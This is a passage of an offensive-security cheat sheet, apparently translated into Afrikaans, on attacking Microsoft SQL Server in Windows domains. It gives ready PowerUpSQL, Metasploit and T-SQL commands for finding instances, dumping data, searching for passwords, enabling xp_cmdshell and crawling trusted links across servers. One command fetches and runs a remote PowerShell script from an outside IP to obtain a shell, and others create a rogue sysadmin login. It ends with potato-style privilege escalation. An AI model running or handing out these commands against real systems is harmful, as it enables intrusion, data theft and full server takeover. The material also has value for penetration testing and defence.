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### Powershell
Die powershell-module [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) is baie nuttig in hierdie geval.
```powershell
Import-Module .\PowerupSQL.psd1
Opname vanaf die netwerk sonder domeinsessie
# Get local MSSQL instance (if any)Get-SQLInstanceLocalGet-SQLInstanceLocal|Get-SQLServerInfo#If you don't have a AD account, you can try to find MSSQL scanning via UDP#First, you will need a list of hosts to scanGet-Content c:\temp\computers.txt |Get-SQLInstanceScanUDP –Verbose –Threads 10#If you have some valid credentials and you have discovered valid MSSQL hosts you can try to login into them#The discovered MSSQL servers must be on the file: C:\temp\instances.txtGet-SQLInstanceFile-FilePath C:\temp\instances.txt |Get-SQLConnectionTest-Verbose -Username test -Password test
Opname vanaf binne die domein
# Get local MSSQL instance (if any)Get-SQLInstanceLocalGet-SQLInstanceLocal|Get-SQLServerInfo#Get info about valid MSQL instances running in domain#This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance)Get-SQLInstanceDomain|Get-SQLServerinfo-Verbose#Test connections with each oneGet-SQLInstanceDomain|Get-SQLConnectionTestThreaded-verbose#Try to connect and obtain info from each MSSQL server (also useful to check conectivity)Get-SQLInstanceDomain|Get-SQLServerInfo-Verbose# Get DBs, test connections and get info in onelinerGet-SQLInstanceDomain|Get-SQLConnectionTest|? { $_.Status-eq"Accessible" } |Get-SQLServerInfo
MSSQL Basiese Misbruik
Toegang DB
#Perform a SQL queryGet-SQLQuery-Instance "sql.domain.io,1433"-Query "select @@servername"#Dump an instance (a lotof CVSs generated in current dir)Invoke-SQLDumpInfo-Verbose -Instance "dcorp-mssql"# Search keywords in columns trying to access the MSSQL DBs## This won't use trusted SQL linksGet-SQLInstanceDomain|Get-SQLConnectionTest|? { $_.Status-eq"Accessible" } |Get-SQLColumnSampleDataThreaded-Keywords "password"-SampleSize 5| select instance, database, column, sample | ft -autosize
MSSQL RCE
Dit mag ook moontlik wees om opdragte binne die MSSQL-gasheer uit te voer.
Invoke-SQLOSCmd-Instance "srv.sub.domain.local,1433"-Command "whoami"-RawResults# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary
Check in die blad genoem in die volgende afdeling hoe om dit handmatig te doen.
MSSQL Basiese Hacking Tricks
MSSQL Vertroude Skakels
As 'n MSSQL-instansie vertrou (databasis skakel) deur 'n ander MSSQL-instansie. As die gebruiker voorregte oor die vertroude databasis het, gaan hy in staat wees om die vertrouensverhouding te gebruik om navrae ook in die ander instansie uit te voer. Hierdie vertroue kan geketting word en op 'n sekere punt mag die gebruiker in staat wees om 'n verkeerd geconfigureerde databasis te vind waar hy opdragte kan uitvoer.
Die skakels tussen databasisse werk selfs oor woudvertroue.
Powershell Misbruik
#Look for MSSQL links of an accessible instanceGet-SQLServerLink-Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0#Crawl trusted links, starting from the given one (the user being used by the MSSQL instance is also specified)Get-SQLServerLinkCrawl-Instance mssql-srv.domain.local -Verbose#If you are sysadmin in some trusted link you can enable xp_cmdshell with:Get-SQLServerLinkCrawl-instance "<INSTANCE1>"-verbose -Query 'EXECUTE(''sp_configure ''''xp_cmdshell'''',1;reconfigure;'') AT "<INSTANCE2>"'#Execute a query in all linked instances (try to execute commands), output should be in CustomQuery fieldGet-SQLServerLinkCrawl-Instance mssql-srv.domain.local -Query "exec master..xp_cmdshell 'whoami'"#Obtain a shellGet-SQLServerLinkCrawl-Instance dcorp-mssql -Query 'exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1'')"'#Check for possible vulnerabilities on an instance where you have accessInvoke-SQLAudit-Verbose -Instance "dcorp-mssql.dollarcorp.moneycorp.local"#Try to escalate privileges on an instanceInvoke-SQLEscalatePriv –Verbose –Instance "SQLServer1\Instance1"#Manual trusted link queeryGet-SQLQuery-Instance "sql.domain.io,1433"-Query "select * from openquery(""sql2.domain.io"", 'select * from information_schema.tables')"## Enable xp_cmdshell and check itGet-SQLQuery-Instance "sql.domain.io,1433"-Query 'SELECT * FROM OPENQUERY("sql2.domain.io", ''SELECT * FROM sys.configurations WHERE name = ''''xp_cmdshell'''''');'Get-SQLQuery-Instance "sql.domain.io,1433"-Query 'EXEC(''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT [sql.rto.external]'Get-SQLQuery-Instance "sql.domain.io,1433"-Query 'EXEC(''sp_configure ''''xp_cmdshell'''', 1; reconfigure;'') AT [sql.rto.external]'## If you see the results of @@selectname, it workedGet-SQLQuery-Instance "sql.rto.local,1433"-Query 'SELECT * FROM OPENQUERY("sql.rto.external", ''select @@servername; exec xp_cmdshell ''''powershell whoami'''''');'
Metasploit
Jy kan maklik vertroude skakels nagaan met metasploit.
#Set username, password, windows auth (if using AD), IP...msf> useexploit/windows/mssql/mssql_linkcrawler[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session
Let wel dat metasploit slegs die openquery() funksie in MSSQL sal probeer misbruik maak (so, as jy nie 'n opdrag met openquery() kan uitvoer nie, sal jy die EXECUTE metode handmatig moet probeer om opdragte uit te voer, sien meer hieronder.)
Handmatig - Openquery()
Van Linux kan jy 'n MSSQL konsole-shel met sqsh en mssqlclient.py verkry.
Van Windows kan jy ook die skakels vind en opdragte handmatig uitvoer met 'n MSSQL kliënt soosHeidiSQL
As jy nie aksies soos exec xp_cmdshell vanaf openquery() kan uitvoer nie, probeer die EXECUTE metode.
Handmatig - EXECUTE
Jy kan ook vertroude skakels misbruik deur EXECUTE te gebruik:
#Create user and give admin privilegesEXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
Plaaslike Privilege Escalation
Die MSSQL plaaslike gebruiker het gewoonlik 'n spesiale tipe voorreg genaamd SeImpersonatePrivilege. Dit stel die rekening in staat om "‘n kliënt na verifikasie te verteenwoordig".
'n Strategie wat baie outeurs ontwikkel het, is om 'n SYSTEM-diens te dwing om te verifieer met 'n rogue of man-in-the-middle diens wat die aanvaller skep. Hierdie rogue diens kan dan die SYSTEM-diens verteenwoordig terwyl dit probeer om te verifieer.
SweetPotato het 'n versameling van hierdie verskillende tegnieke wat uitgevoer kan word via Beacon se execute-assembly opdrag.
